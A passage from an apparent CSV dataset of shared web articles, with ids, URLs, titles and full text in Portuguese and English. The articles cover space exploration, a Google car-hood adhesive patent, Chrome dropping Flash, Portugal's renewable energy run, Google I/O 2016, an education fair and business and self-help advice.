freezer guardando rochas primordiais, que não se transformaram desde o nascimento do sistema solar. Estudar os objetos do Cinturão de Kuiper poderia revelar nossa própria história e origem cósmica. É por isso que os operadores da missão New Horizons na Terra estão tentando convencer a NASA de que devemos realizar um voo rasante em mais outro objeto, o 2014 MU69, em 2019. Esperamos que a missão New Horizons prolongada receba o sinal verde. O sobrevoo de Plutão revolucionou completamente a nossa perspectiva sobre um pequeno mundo que pensávamos entender. Aproximar-se de outro objeto congelado e distante nos ensinará ainda mais sobre o sistema solar exterior. Todas as imagens por NASA/JHUAPL/SwRI",pt
1463750194,CONTENT SHARED,7083316110921342538,-492179582639058400,496915612843511273,,,,HTML,http://m.gizmodo.uol.com.br/patente-google-capo-carro/,Patente do Google prevê carro que gruda pedestres atingidos no capô,"Por: Alissa Walker 20 de maio de 2016 às 8:46 COMPARTILHE O Google costuma dizer que seus carros autônomos têm a capacidade de salvar vidas, pois são inteligentes o bastante para evitarem colisões. No entanto, elas acontecem mesmo assim . Por isso, a empresa parece parece ter uma carta na manga: um adesivo humano. Conversamos com alguns especialistas para saber se esta ideia pode realmente funcionar. >>> O que pessoas costumam fazer perto dos carros autônomos do Google >>> O que o Google aprendeu após seu carro autônomo colidir com um ônibus A companhia recebeu uma patente que propõe colocar um adesivo superforte no capô de seu carro autônomo. Desta forma, pedestres ou ciclistas que forem atingidos estariam protegidos do chamado ""segundo impacto"". Isto é a parte do acidente quando uma pessoa é jogada para trás do veículo, geralmente atingindo o teto do carro, a rua ou outro carro. Nesta hora é que são registradas as lesões mais sérias. A patente foi registrada em 2014 e parece que foi feita como uma solução temporária para manter a segurança de pessoas que ""conviverão"" com os carros autônomos, enquanto a tecnologia evolui: Onde o adesivo deverá ser aplicado, segundo a patente do Google de número 9340178 Como esses sistemas ainda estão sendo desenvolvidos, devemos reconhecer que colisões entre veículos e pedestres ainda ocorrem. Tais mecanismos de segurança podem se tornar desnecessários com a tecnologia para evitar acidentes evoluindo cada vez mais. No entanto, atualmente é desejável ter veículos que tenham mecanismos de segurança para os pedestres. Sobre o tipo de cola que o Google planeja colocar nos veículos, a patente descreve uma espécie de cobertura de casca de ovo sobre a principal camada adesiva, dessa forma o carro não sairá por aí capturando insetos ou outros animais que se aproximarem. Funciona? Rebecca Thompson, chefe de conscientização pública da American Physical Society , explica que, de fato, é bem melhor - do ponto de vista da física - uma só colisão com um capô pegajoso. ""Ser atingido por um carro apenas uma vez é muito melhor do que ser atropelado e ser jogado no chão ou ser impactado por outro veículo"", diz Rebecca. ""Os ciclistas usam capacete não para se prevenirem da pancada com o carro, e sim para lidar com a possibilidade de bater a cabeça no chão, caso caiam."" Transformar carros em grandes ""armadilhas grudentas"" é certamente um recurso que poderia ter aplicações urbanas além dos carros autônomos. Se for provado que é uma boa ideia, o recurso poderia ser usado em objetos perigosos em movimento. ""Isso é basicamente uma variação de um airbag externo, que de cara parece ser uma boa ideia para veículos em baixa velocidade, como uma medida de segurança auxiliar"", diz Gabe Klein, que trabalhava como chefe do departamento de transporte de Chicago, e agora aconselha startups e fundos de investimentos relacionados à mobilidade . ""Por que não considerar esse recurso para veículos que não sejam autônomos?"". E Rebecca ressalta um outro benefício do recurso: ter uma pessoa grudada no capô pode prevenir que o motorista fuja do local sem prestar assistência. Isso com certeza diminuiria a ocorrência de atropelamentos seguidos de fuga. Mas, segundo ela, essa não é uma ideia perfeita. Com um pedestre ou ciclista grudado na frente do veículo, o carro pode ter problemas para continuar a circular com segurança - ou mesmo puxar os braços ou pernas da pessoa para baixo do carro, causando danos ainda mais graves. Várias montadoras estão pensando em formas de reduzir danos aos pedestres em acidentes. A Nissan, por exemplo, tem um mecanismo que levanta um pouco o capô para impedir que os pedestres batam com a cabeça. A patente do Google para pedestres é especialmente criativa. No entanto, seria possível ter um mesmo nível de segurança usando uma tecnologia V2P (Veículo para pessoa), segundo Dan Surges, designer da área automotiva e professor no College for Creative Studies de Detroit. ""Considerando a popularidade da plataforma Android, eles poderiam ter smartphones dizendo aos pedestres onde há maior risco de batidas e atropelamentos. Eles poderiam usar a tecnologia do Google para evitar acidentes envolvendo carros e pedestres ao usar tecnologia pervasiva."" Claro, como disse um representante do Google ao Mercury News , a patente não significa que nós veremos essa ideia se tornar realidade logo. É só outra forma de a empresa mostrar como considera ajudar seus robôs a manterem mais humanos vivos em nossas ruas. [ US Patent Office via Mercury News ]",pt
1463750263,CONTENT SHARED,3256054536066714292,-2979881261169775358,-435317451716075321,,,,HTML,https://bitmovin.com/google-replace-flash-with-html5/,Google moves to replace Flash with HTML5,"By the end of this year Chrome will begin ignoring Flash as Google takes another step towards removing the ""final Plugin"" by replacing Flash with HTML5. It is well known that any modern Web based media streaming technology should default to using HTML5 over Flash Players. Google's move, to stop reporting the presence of Flash Player in it's Chrome browser further reinforces this position and takes the internet one step closer to a standardized approach to video. Google recently announced, that Navigator.Plugins() and Navigator.MimeTypes() will only report the presence of Flash Player if the user has indicated that the domain should execute Flash, or if the site is in one of the Top 10 domains using Flash. They justify this step with faster load times, lower power consumption and a ""more integrated media experience"" - and we at Bitmovin truly agree! This means that although Flash Player will be shipped within Google's Chrome browser, the presence will not be indicated by default. On websites, which truly require Flash, a prompt will appear - the user can then decide about the usage of Flash Player. Furthermore, redirects to Adobe's download page will be intercepted and also lead to the aforementioned prompt. However, to avoid ""over-prompting"" of users, the top 10 domains using Flash will be whitelisted by default. More information about Google's HTML5 by Default initiative, can be found at a recent post in the Chromium-dev group . Global players, like YouTube and Netflix have already switched to a HTML5 first approach for their video streaming platforms due to the benefits of HTML5 based streaming. This trend seems to continue, as support for proprietary plugins like Flash or Silverlight are continuously limited by browser vendors. HTML5 based streaming has a multitude of advantages over proprietary plugins, including a company independent standard, simplified DRM workflow, superior performance without the security issues raised by plugins and more. You can be read more about this in our recent article; Why YouTube & Netflix use MPEG-DASH in HTML5 . Obviously one of the major driving factors behind every development in the realm of online video at the moment is adaptive bitrate streaming, which is the technology that allows a video to adjust it's resolution to fit the device it is playing on and the bandwidth environment that it is being delivered through. The use of HTML5 based streaming has also simplified and standardized many of the solutions available here. This article gives a good insight into the various adaptive streaming formats and how they work. MPEG-DASH vs. Apple HLS vs. Microsoft Smooth Streaming vs. Adobe HDS . A switch from Flash based players towards HTML5 will not be good news for everyone. There are some formats that are not supported by HTML, such as RTMP streaming which is quite popular for low delay live streaming services still today. These sites will need to switch to HTML5 using DASH or HLS. Advertising is another area where many companies have invested in the Flash (.flv) format and will need to move on to other formats. So what are the advantages and opportunities created by using HTML5 instead of Flash? Open standards with the HTML5 MSE Media source extensions allow video to be played using the very latest in adaptive streaming technologies, directly through an HTML5/Javascript webpage. This gives developers the ability to use Javascript to control almost every aspect of the video, from skinning the player right through to firing actions based on ID3 tags. DRM support with Encrypted Media Extensions (EME) DRM is a hugely important part of the online video workflow and HTML5 offers a very useful tool with Encrypted Media Extensions . The functionality offered by EME can be deployed to Desktop, Mobile and VR headsets making DRM simpler and easier across all devices. HTML5 performance As well as making development easier, HTML5 outperforms plugin based playback in almost every department, giving you a superior end product, and providing the user with a higher quality of experience (QoE) . This improvement in performance in combination with advances in adaptive streaming makes the use of higher quality formats such as UHD and 4k more accessible as well as delivering high bandwidth products such as 360° video and Virtual Reality in a more efficient manor. Read more about some of the advantages of HTML5 video in this article . Although Flash historically has been critical for rich media on the web, these days, an HTML5 based approaches provides higher flexibility by increasing user experience. By moving away from Flash (or as they call it - their final plugin) Google is making the next step towards a more efficient, and user-friendly internet. With Bitmovin's HTML5 Adapative Streaming Player, as the name suggests, already uses the power of HTML5 to deliver the best possible video experience on the internet. It is already being used behind the scenes by many of the major video sites on the web, and has the fastest growing user base in the industry. Browser DASH HTML5 HLS HTML5 Internet Explorer 11+ [1] 1 Only supported on Windows 8+ A more detailed overview, as well as information about mobile and other streaming devices can also found in our Device & Browser Support page . All the best, Reinhard & the Bitmovin Team! Tags: Flash , Google Chrome , HTML5 , HTML5 Adaptive Streaming , HTML5 HLS , HTML5 MPEG-DASH , HTML5 Player",en
1463750427,CONTENT SHARED,4915137112517573184,-2979881261169775358,-435317451716075321,,,,HTML,http://www.theguardian.com/environment/2016/may/18/portugal-runs-for-four-days-straight-on-renewable-energy-alone,Portugal runs for four days straight on renewable energy alone,"Portugal kept its lights on with renewable energy alone for four consecutive days last week in a clean energy milestone revealed by data analysis of national energy network figures. Electricity consumption in the country was fully covered by solar, wind and hydro power in an extraordinary 107-hour run that lasted from 6.45am on Saturday 7 May until 5.45pm the following Wednesday, the analysis says. News of the zero emissions landmark comes just days after Germany announced that clean energy had powered almost all its electricity needs on Sunday 15 May, with power prices turning negative at several times in the day - effectively paying consumers to use it. Related: Wind power generates 140% of Denmark's electricity demand Oliver Joy, a spokesman for the Wind Europe trade association said: ""We are seeing trends like this spread across Europe - last year with Denmark and now in Portugal . The Iberian peninsula is a great resource for renewables and wind energy, not just for the region but for the whole of Europe."" James Watson, the CEO of SolarPower Europe said: ""This is a significant achievement for a European country, but what seems extraordinary today will be commonplace in Europe in just a few years. The energy transition process is gathering momentum and records such as this will continue to be set and broken across Europe ."" Last year, wind providing 22% of electricity and all renewable sources together providing 48%, according to the Portuguese renewable energy association . While Portugal's clean energy surge has been spurred by the EU's renewable targets for 2020, support schemes for new wind capacity were reduced in 2012. Despite this, Portugal added 550MW of wind capacity between 2013 and 2016, and industry groups now have their sights firmly set on the green energy's export potential, within Europe and without. Related: Solar power sets new British record by beating coal for a day ""An increased build-out of interconnectors, a reformed electricity market and political will are all essential,"" Joy said. ""But with the right policies in place, wind could meet a quarter of Europe's power needs in the next 15 years."" In 2015, wind power alone met 42% of electricity demand in Denmark, 20% in Spain, 13% in Germany and 11% in the UK. In a move hailed as a ""historic turning point"" by clean energy supporters, UK citizens last week enjoyed their first ever week of coal-free electricity generation. Watson said: ""The age of inflexible and polluting technologies is drawing to an end and power will increasingly be provided from clean, renewable sources."" * This article was amended on 19 May 2016. An earlier version said that in 2013 Portugal generated 27% of its electricity from nuclear, 13% from hydro, 7.5% from wind and 3% from solar, according to Eurostat figures. In fact those figures are for the whole of the EU; Portugal does not have any nuclear power plants.",en
1463750435,CONTENT SHARED,-6859363289291329827,-492179582639058400,496915612843511273,,,,HTML,http://meiobit.com/344210/google-io-2016-keynote/,Confira as novidades apresentadas no Google I/O 2016,"Nesta quarta-feira rolou o Google I/O, o tão esperado evento anual de Mountain View voltado para desenvolvedores que sempre traz uma cacetada de novidades. E desta vez não foi diferente, a empresa apresentou uma série de novos produtos e soluções e tirou o véu de seus projetos mais tradicionalmente esperados. Vamos conferir as boas novas principais: Google Assistant O Google Assistant é uma evolução do Google Now, por assim dizer. Embora ainda não possua personalidade como a Siri ou a Cortana, ela agora é capaz de entender linguagem natural o suficiente para sustentar conversas simples e mais importante, ela é profundamente ligada à todos os serviços do Google, com o poderoso algoritmo de busca por trás. Digamos que você deseja saber mais sobre um filme. Você pergunta para a Google Assistant e ela lhe dará exatamente o que você procura, desde avaliações a uma relação dos cinemas mais próximos em que ele está em cartaz. Resolveu assistir? Ótimo, a assistente se encarregará dela mesma comprar os ingressos e criar os alertas, tudo através da voz e sem abrir nenhum outro app sequer. A ideia do Google é que a assistente inteligente gerencie todas as pesquisas de voz em uma miríade de dispositivos, de smartphones a tablets, passando por TVs e outros gadgets inteligentes. Só que para isso é necessário algo mais. Google Home É aí que o Google Home entra. O device é um hardware dedicado para a Google Assistant tal qual o Echo é o lar da Alexa, da Amazon. Só que diferente da assistente de Jeff Bezos, o Home possui todo o know-how de Mountain View por trás e é capaz de se conectar com uma série de aparelhos inteligentes, desde seus smartphones a suas TVs inteligentes ( ou o Chromecast ), bem como outros dispositivos voltados à Internet das Coisas como lâmpadas, termostatos ( como o Nest ), entre outras coisas como gerenciar suas tarefas do dia. Ele é equipado com um poderoso alto-falante e uma vez conectado, a Google Assistant irá atuar como a verdadeira gerente da sua vida. Para quem jogou as mãos para o céu e deixou tudo na mão da gigante, que cuida de tudo melhor que nós mesmos o gadget é uma bênção. O Google pretende lançar o Home durante o quarto trimestre deste ano. Desde já é um dispositivo que desejo muito ter em casa, embora tenha minhas dúvidas se ele sequer será lançado por aqui. Bem, é hora de falar do lançamento mais esperado. A nova versão do robozinho que ainda não possui data fixa de lançamento se focará em três principais características: Produtividade: a tela de apps recentes manterá apenas os mais usados, e ao clicar duas vezes no botão ele alternará entre os dois utilizados por último. O Android N também trará um modo de multi janelas, para todos aqueles que fazem mil e duas coisas ao mesmo tempo e que desejam tal ferramenta, sem falar nos rumores de que ele poderá trazer um modo desktop . E por fim, um botão para fechar todos os apps de uma vez foi incorporado, ideal para se livrar de aplicativos rodando no background. Segurança: a criptografia nativa finalmente está de volta. Introduzida no 5.0 Lollipop, ela foi logo desativada nos aparelhos lançados posteriormente à decisão já que ela estava causando uma série de bugs . O Chrome também foi blindado e passará a proteger melhor os dados de seus usuários, e enfim a Play Store agora realizará uma varredura geral de todo e qualquer app hospedado na lojinha, desde o momento em que é submetido. Não cumpriu com as exigências, é suspeito ou compartilha ferramentas que incentivem práticas ilegais ( emuladores, estou olhando para vocês ), fora. Desempenho: a API Vulkan permitirá que os desenvolvedores tenham acesso mais profundo a nível de hardware sem lidar com linguagem de máquina, da mesma forma que o Metal faz com os processadores AX da Apple. A promessa é entregar perfomance de consoles de mesa em jogos e melhores gráficos em outros aplicativos. O novo compilador Java ( linguagem esta que pode perder espaço em breve ) reduz o tempo de instalação dos apps em 75% e o sistema está duas vezes mais rápido na hora de processá-los, graças a uma redução na quantidade de dados que precisam ser compilados por vez. E isso ainda reduz o consumo de energia. No geral os apps ficarão mais inteligentes. O Hangouts por exemplo, assim como o WhatsApp permitirão mudança de status simplesmente deslizando o dedo pelos atalhos para cima ou para baixo, entre outros gestos. O beta está disponível para dispositivos Nexus e a partir do segundo semestre deve chegar a mais Androids. E esqueçam a promoção sobre a escolha do nome do Android N, ela é apenas para fins de diversão e as sugestões sequer serão avaliadas . Allo e Duo, duas novas formas de se comunicar Vamos combinar, o Google é meio esquizofrênico quando o assunto são apps de comunicação. Embora o Orkut tenha sido uma boa ideia, o fato de ele ter sido monopolizado pelos brasileiros e indianos é motivo mais do que suficiente para ele ter sido um fracasso: de que adianta manter uma rede social que apenas dois países de um total de quase 190 usam? De lá para cá nada emplacou. Buzz, Wave, Google+ falharam em cativar o usuário e o mais recente Spaces também gera dúvidas. O Hangouts, que substituiu o GTalk também não é uma unanimidade. Só que Mountain View ao invés de trabalhar com aquilo que já tem em mãos lança novos produtos. As bolas da vez são o Allo e o Duo. O Allo é um Instant Messenger que une algumas das melhores características de seus concorrentes: ele é ágil como o WhatsApp e o Telegram ( também funciona com base em seu número de celular ), e deste empresta o conceito dos bots, mas ele é muito mais graças ao suporte do Google. O Allo é capaz de não só entender linguagem natural ( na verdade é a Google Assistant de novo ) como ele se integra com outros produtos da empresa. Digamos que no meio da conversa alguém fala em almoço e sugere um restaurante. Sem sair do app você poderá pesquisar os mais próximos e fazer reservas, tudo graças ao bot do app. Ah sim, o Allo reconhece imagens e é capaz de fazer sugestões com base nelas. Não é uma boa ideia compartilhar nudes por ele pelo visto, embora ele conte com um modo de conversa protegida. Já o Duo é um app para chamadas de vídeo, nos moldes do FaceTime. A grande diferença é a presença do recurso ""knock-knock"", em que você poderá ver uma prévia da transmissão de quem está te ligando antes mesmo de atender a ligação. Isso é muito prático mas já prevejo uma série de acidentes com quem esquece que a câmera já está ligada. Tanto o Allo quanto o Duo estarão disponíveis entre junho e setembro para Android e iOS. E sim, as conversas tanto em um quanto em outro são criptografadas de ponta a ponta. Foi mal FBI. Esta é uma nova plataforma de realidade virtual, que se baseará no Android N e fornecerá aos desenvolvedores e fabricantes as ferramentas necessárias para popularizar a tecnologia. Os produtos desenvolvidos deverão cumprir uma série de requisitos para serem compatíveis, e no momento parceiros como Samsung, LG, HTC e Xiaomi estão dentro. Eles poderão também desenvolver seus próprios headsets e não apenas se basearem no Cardboard, apenas que o novo Android terá todas as tecnologias necessárias. Ele é basicamente um Android para VR, se pensarmos bem. Ele é uma linha guia onde esses softwares rodarão e através dos novos hardwares, desde que as direções do Google sejam acatadas. Netflix, Hulu e IMAX também liberarão seus conteúdos para o Daydream e estúdios como EA e Ubisoft desenvolverão games para a plataforma. Android Wear 2.0 O Google mexeu profundamente no sistema dos reloginhos espertos, e está dando um passo arriscado: ela quer que os dispositivos sejam inteligentes a ponto de não mais dependerem de um smartphone para funcionar. O novo SO dará maior suporte a apps integrados e contará com novas funções de uso, como melhor desenvoltura na hora de rodar apps fitness e uma melhor abordagem para aplicativos de mensagens, oferecendo reconhecimento de voz, escrita e... um teclado. Eu não sei vocês, mas a ideia de digitar em uma tela do tamanho de um... bem, de um relógio me soa ridícula ao extremo. Por fim algo mais voltado aos devs. O Firebase, plataforma de desenvolvimento de apps adquirida há pouco tempo passará a integrar as soluções de nuvem do Google, absorvendo o Cloud Messaging e se conectando com outros como o Analytics, que poderá ser adicionado ao código-fonte dos apps, dessa forma as informações do usuário serão enviadas diretamente à plataforma. Os desenvolvedores poderão configurar seus aplicativos para situações bem específicas. Por exemplo, uma compra realizada num app de compras dispara o sinal e envia a informação, dessa forma o Firebase será capaz de levantar dados de audiência por segmento de uma maneira bem simples. A ideia é promovê-lo como a plataforma mais indicada para desenvolvimento de apps. Por fim, vale mencionar que o Google está preparando o lançamento dos Instant Apps, aplicativos que rodam no Android sem a necessidade de serem instalados, fazendo uso apenas de algumas instância pré-inseridas nos dispositivos, algo que já havia sido aventado no passado. Não obstante o Chrome receberá em breve a Play Store e será capaz de rodar apps do Android diretamente. E isso conclui o primeiro dia do Google I/O 2016. No decorrer da semana traremos mais novidades conforme Mountain View as anunciar. Relacionados: Allo , Android Instant Apps , Android N , Android Wear , Chamada de vídeo , Daydream , Duo , Firebase , Google Assistant , Google Home , Google I/O 2016 , Google Photos , instant messenger , Realidade aumentada , Realidade Virtual , video-chamada",pt
1463751248,CONTENT SHARED,240943776326872028,3609194402293569455,-9117066156791004905,,,,HTML,http://startupi.com.br/2016/05/sao-paulo-recebe-maior-evento-nacional-voltado-a-educacao-e-discute-tecnologia-no-setor/,São Paulo recebe maior evento nacional voltado à educação e discute tecnologia no setor - Startupi,"Está acontecendo em São Paulo, até sábado, a terceira edição da Bett Brasil Educar , um dos maiores eventos de educação da América Latina. A conferência reunirá, nos quatro dias de evento, de 18 a 21 de maio, cerca de 14 mil visitantes no São Paulo Expo Exhibition & Convention Center, e mais de 150 escolas e empresas do segmento de educação expondo suas ideias e soluções para o setor. Com o tema ""melhor educação, melhor sociedade"", o foco do maior evento educacional do Brasil é como a qualidade da educação se relaciona com a melhoria da vida e do convívio em sociedade. Tecnologia e educação Durante o evento, acontecerão mais de 200 palestras e cursos, muitos colocando a tecnologia como meio de transformação para os métodos de ensino e aprendizagem. Para o palestrante Marcelo Lopes, professor de Ciências e Biologia, que ingressou na tecnologia educacional com aulas de robótica, um dos pontos mais importantes para a disrupção dos métodos de ensino é a formação adequada do professor quanto aos recursos disponíveis. ""Vale mais um professor bem informado com pouca tecnologia do que com muita tecnologia sem ter como usar. Precisamos investir 80% em pessoas e 20% em equipamentos"", diz. Mas, como aplicar, então, recursos tecnológicos em escolas que não tenham uma infraestrutura adequada? De acordo com Marcelo, a saída para este desafio é adaptar a sala de aula às tecnologias que o aluno já utiliza diariamente. ""Todas as escolas, pensando em alunos a partir de 11 anos de idade, têm alunos que, em sua maioria, possuem smartphones. Se usarmos o smartphone dos próprios alunos, vamos conseguir desenvolver um bom trabalho"". Ele acredita que, com esta ferramenta básica e do dia a dia, a escola pode se aliar ao celular dos alunos, não transformá-los em um inimigo. ""Podemos trabalhar com realidade aumentada, realidade virtual, objetos interativos e ensino adaptativo, entre tantas outras possibilidades"". Lúcia Dellagnelo, coordenadora do Iieb- Iniciativa para Inovação na Educação Brasileira -, diz que há uma necessidade de implantação de ferramentas tecnológicas principalmente no ensino médio, onde o Brasil tem dificuldades em fazer com que os jovens tenham uma aprendizagem relevante e até mesmo manter os jovens na escola. ""As tecnologias tem um papel muito grande, porque o jovem busca uma educação customizada e mediada pela tecnologia"", explica. Para ela, esta customização da educação por meios tecnológicos pode ser um grande aliado do professor, que passa então a lidar cada vez menos com questões administrativas. Assim, o professor começa a adaptar melhor o período em sala de aula para enquadrar às necessidades do aluno, além de ter a opção de propor atividades diferenciadas em sala de aula, tirando o foco do professor como detentor de todo o conhecimento e passando a integrar com os alunos e compartilhando experiências e aprendizado. ""Precisamos pensar no objetivo, funcionalidade e na competência das pessoas que utilizarão conteúdos digitais em sala de aula para que seja eficaz"", completa. Para Lúcia, o que falta para que cada vez mais escolas apliquem tecnologias dentro de suas salas é a combinação de quatro fatores: visão, competência, infraestrutura básica e conectividade. ""Hoje a tecnologia na educação tem sido utilizada em experimentos pilotos, projetos isolados, mas não existe uma política pública de tecnologia educacional, que é o que o Brasil mais precisa"", diz. Vera Cabral, consultora de Educação do evento, diz que é necessário transformar agora a forma como a educação acontece: ""Precisamos transformar a forma como se aprende para que a gente consiga resultados diferentes em termos do que faz a aprendizagem funcionar. Para alterarmos este processo, as tecnologias são fundamentais"", destaca. ""Cada vez mais temos aulas e conteúdos online gratuitos que os alunos podem usar sem custo extra para a escola, e que muitas vezes até compete com a própria escola"". Startups Uma das novidades desta edição do evento é um espaço dedicado às startups do segmento educacional. Márcio Boruchowski, CEO da Educare e curador da Feira de Startups, diz que, muito mais do que ter um estande no evento, o intuito do espaço é focar no networking entre as startups e as escolas. ""Nosso único critério era que fosse uma startup e do segmento de educação. Como educação é um mercado muito amplo, cada uma das startups que estão expondo aqui tem uma solução diferente"", completa. Márcio diz que há uma demanda enorme atualmente em ensino personalizado. ""As pessoas são diferentes, tem interesses diferentes e aprendem de formas diferentes"", diz. Para ele, há uma tendência de cada vez mais as startups adaptarem seus produtos às necessidades específicas de um aluno, porque em uma sala de 40 alunos, por exemplo, alguns estão mais adiantados e acham a aula atrasada, outros acompanham a aula e alguns ainda ficam para trás, precisando de uma atenção diferente para que possam acompanhar os demais. ""Nós devemos ser peças na engrenagem que ajuda os alunos que estão adiantados a subirem mais e alavancar os que estão atrasados"". As startups que estão expondo no evento são: O Startupi estará no evento durante todos os dias , junto com as startups. Que tal passar no nosso estande para batermos um papo e trocarmos ideias? Esperamos te ver lá!",pt
1463751514,CONTENT REMOVED,-4975645025178552956,3915038251784681624,5575089319162290431,,,,HTML,http://www.danbp.org/w/Sem_Parar_vs_Conectcar,Sem Parar vs Conectcar,"Apesar de terem sido implantados a mais de 15 anos, os dispositivos de cobrança eletrônica pouco evoluíram em termos de clareza e transparência ao consumidor. Instalar um equipamento destes é como fazer a assinatura de revistas naquelas bancas instaladas em supermercados e aeroportos que prometem ""brindes"": Você só se dá conta do que fez quando começa a pagar.",pt
1463751535,CONTENT SHARED,-5691008411030226594,3915038251784681624,5575089319162290431,,,,HTML,http://www.danbp.org/w/Sem_Parar_vs_Conectcar,Sem Parar vs Conectcar - DanBP.org,"Apesar de terem sido implantados a mais de 15 anos, os dispositivos de cobrança eletrônica pouco evoluíram em termos de clareza e transparência ao consumidor. Instalar um equipamento destes é como fazer a assinatura de revistas naquelas bancas instaladas em supermercados e aeroportos que prometem ""brindes"": Você só se dá conta do que fez quando começa a pagar.",pt
1463752294,CONTENT SHARED,-2697906762425596568,3609194402293569455,-9117066156791004905,,,,HTML,http://saiadolugar.com.br/estrategia/varias-ideias-de-negocios/,"Tenho várias ideias de negócios, qual devo levar adiante?","Você é daqueles que tem muitas ideias de negócios? A todo momento tem alguma ideia de como criar um negócio que poderia dar certo? Com frequência tem um momento ""Eureca!"" no banho? Se o problema é não conseguir dar o primeiro passo para tirar elas do papel, esse post é para você. A primeira notícia que tenho é que s ua ideia não vale nada se não for bem executada. Então não se sinta o máximo se você teve uma ideia brilhante ou centenas delas. Suas ideias não valem absolutamente nada se não forem colocadas em prática. Anote todas suas ideias em algum lugar. Muitas delas se perdem porque apenas não as anotamos e acabamos esquecendo depois. É melhor você usar seu cérebro para pensar em novas ideias do que para lembrar das que já teve. Você também pode ir evoluindo e amadurecendo sua ideia ao longo do tempo. Também ficará mais fácil comparar suas ideias de forma mais objetiva. Agora pegue sua lista de ideias! Pode ser que ela tenha 3,10, ou até mesmo 50 ideias, quanto mais você conseguiu melhor. Agora você tem um novo problema, como escolher as melhores para trabalhar? Não se preocupe! Vamos começar agora a lapidar sua lista para você validar e começar a trabalhar. Siga os passos abaixo para chegar nas melhores ideias. 1. Revise a lista Essa etapa é fundamental para avaliar quais das suas idéias são viáveis e quais estão fora da realidade. Para isso siga os passos a seguir: Garanta que as ideias estão claras Se tiver trabalhando em grupo, tenha certeza que todos entenderam tudo o que será proposto. Se precisar acrescente palavras para deixar a descrição ainda mais clara. Combine ideias similares Se notar que algumas são muito parecidas trabalhe-as de maneira conjunta. Duas delas combinadas podem se tornar um plano ainda maior e mais ambicioso. Liste novas ideias Pode ser que você ou seu grupo tenha algum novo insight nesse processo. Coloque na lista e siga em frente. 2. Estabeleça critérios. Um dos pontos mais importantes para essa fase é estabelecer critérios para julgar cada ideia. Invista algum tempo nisso e você conseguirá selecionar não a ideia mais legal, mas sim a melhor para você. Então vamos lá! Decida qual é sua motivação e objetivos pessoais. Existem vários tipos de negócios. Entenda qual o seu perfil empreendedor antes de tomar qualquer decisão, desta forma não terá problemas futuros. Fica muito mais fácil quando o seu negócio está alinhado com seus objetivos de vida. Cada um tem seus prós e contras. Alguns tipos de negócios comuns: Business por hobby: Aquele que você gosta tanto do que faz, que faz por diversão. Part-time business que poderia virar full-time: Aquele projeto paralelo que você quer tocar. Startup com a ambição de ser adquirida daqui um tempo: O objetivo aqui é reinvestir o que ganha para poder ganhar uma bolada mais para frente. Negócio gerador de caixa: Aquele que você consegue tirar um lucro no final do mês. Negócio para ganhar credibilidade e networking com ganhos financeiros: Criar por exemplo, workshops, consultorias ou livros. Sem fins lucrativos: Aqueles que visam outro objetivo e não o lucro financeiro. Outros... . Um bom exercício para saber o que você realmente quer é identificar o seu propósito: Gostar do que faz é um dos grandes fatores para se alcançar uma alta performance e ter persistência para nunca desistir dos seus planos, mesmo em meio às adversidades. Isso não é bobagem. A ciência tem boas explicações sobre isso. Se está em dúvida veja este do famoso professor de Havard, Shawn Achor. Mas muitas pessoas têm dificuldade de encontrar pelo quê elas realmente são apaixonadas. E por outro lado nem todas as empresas de sucesso começaram com os fundadores apaixonados pela ideia que tinham. Se esse é o seu caso, uma sugestão é começar pelo interesse, ou seja, encontrar problemas que você tem interesse em resolver ou que te deixe super animado em resolver. Quem sabe no futuro você se apaixone por aquilo. Outros critérios também relevantes são: Sua experiência e conexões Você tem experiência nessa industria ou em projetos similares? Consegue executar essa ideia? É a pessoa certa para resolver esse problema? Você deve ter algumas vantagens que outros provavelmente não têm, como conexões, acessos ou alguma informação privilegiada. O networking é fundamental nesse aspecto, para você ter um suporte quando não tiver tanta experiência naquela área. Oportunidade de mercado Existe uma oportunidade de mercado para sua inovação? Alguma tendência? É a hora certa? Outros critérios Defina alguns critérios relevantes para você também. Seja criativo! 3. Priorize baseado nos critérios Uma boa forma de fazer isso é dar uma nota para cada ideia em cada critério. Por exemplo, você pode dar uma nota de 1 a 3 para alguns critérios como abaixo: Tamanho do mercado : 1 se são centenas, 2 se são dezenas de milhares e 3 se são milhões Acesso aos clientes : 1 se consegue conectar com clientes em semanas ou meses, 2 se consegue conectar em dias e 3 se consegue acessar em horas. Facilidade de venda : 1 cliente não sofre do problema e não tem dinheiro, 2 sofre do problema e não tem dinheiro, 3 sofre do problema e tem dinheiro. Concorrência: 1 Oceano vermelho, 2 Tem algumas empresas fazendo isso mas posso fazer melhor, 3 Oceano azul. Vou ser o primeiro. Multiplique as notas de cada critério e veja quais são as ideias com as maiores notas. 4. Verifique novamente seus critérios Veja se suas ideias realmente encaixam nos critérios estabelecidos e se você tem interesse em resolver o tipo de problema proposto. Não quer dizer que se uma ideia teve uma nota alta ela deve ser escolhida. Esse exercício apenas ajuda você a decidir por qual ideia começar. Agora sabemos quais são as POSSÍVEIS melhores ideias para você. POSSÍVEIS porque são apenas suposições. Você, como empreendedor, tem um trabalho pela frente para validar se realmente são boas ideias. Lembrando que sua ideia ainda não é nada. Não se preocupe tanto com ela agora. Segundo Noam Wasserman no livro, The Founder's Dilemma - 65% das startups falham por causa de problemas relacionados ao time executor e não por causa de uma má ideia. Felipe Byrro, Melhor Plano, Co-Funder Felipe Byrro é fundador do Melhor Plano , site que ajuda pessoas a escolherem planos de telefonia. Começou sua carreira empreendedora ainda no curso de Engenharia de Produção na UFMG e deixou uma carreira na Ambev para empreender. Participou como empreendedor de duas aceleradoras renomadas e foi por dois anos diretor de uma aceleradora em Minas Gerais.",pt
1463753754,CONTENT SHARED,4833869287568225997,3609194402293569455,-9117066156791004905,,,,HTML,http://www.inc.com/lolly-daskal/7-powerful-habits-that-make-you-more-assertive.html,7 Powerful Habits That Make You More Assertive,"Everyone wants to be more confident, but not everyone knows how to be assertive. Being assertive falls right in the middle of being passive and being aggressive. If you're passive about voicing your opinion, you may come across as submissive. And if you are aggressive about voicing your opinion, you may come across as a hostile or, even worse, a bully. But if you learn to be assertive, you can learn to express yourself without being passive or aggressive and you will have a better chance of getting what you want. Here are seven simple ways to help yourself become more assertive. 1. Understand assertiveness. Assertiveness is an interpersonal skill in which you demonstrate the healthy confidence to stand up for yourself while still respecting the rights of others. When you are assertive, you are neither passive nor aggressive, but direct and honest. You don't expect other people to know what you want but speak up and you ask for what you need calmly and with confidence. 2. Keep your communication style in line. When it comes to being assertive, communication is critical, and the key is to be respectful of those you are communicating with. Pay attention to your body language as well as to the words you say, and make sure you're congruent in your words, body language, and tone. Never expect people to read your mind; if you want something, say so, and if something bothers you, speak up. 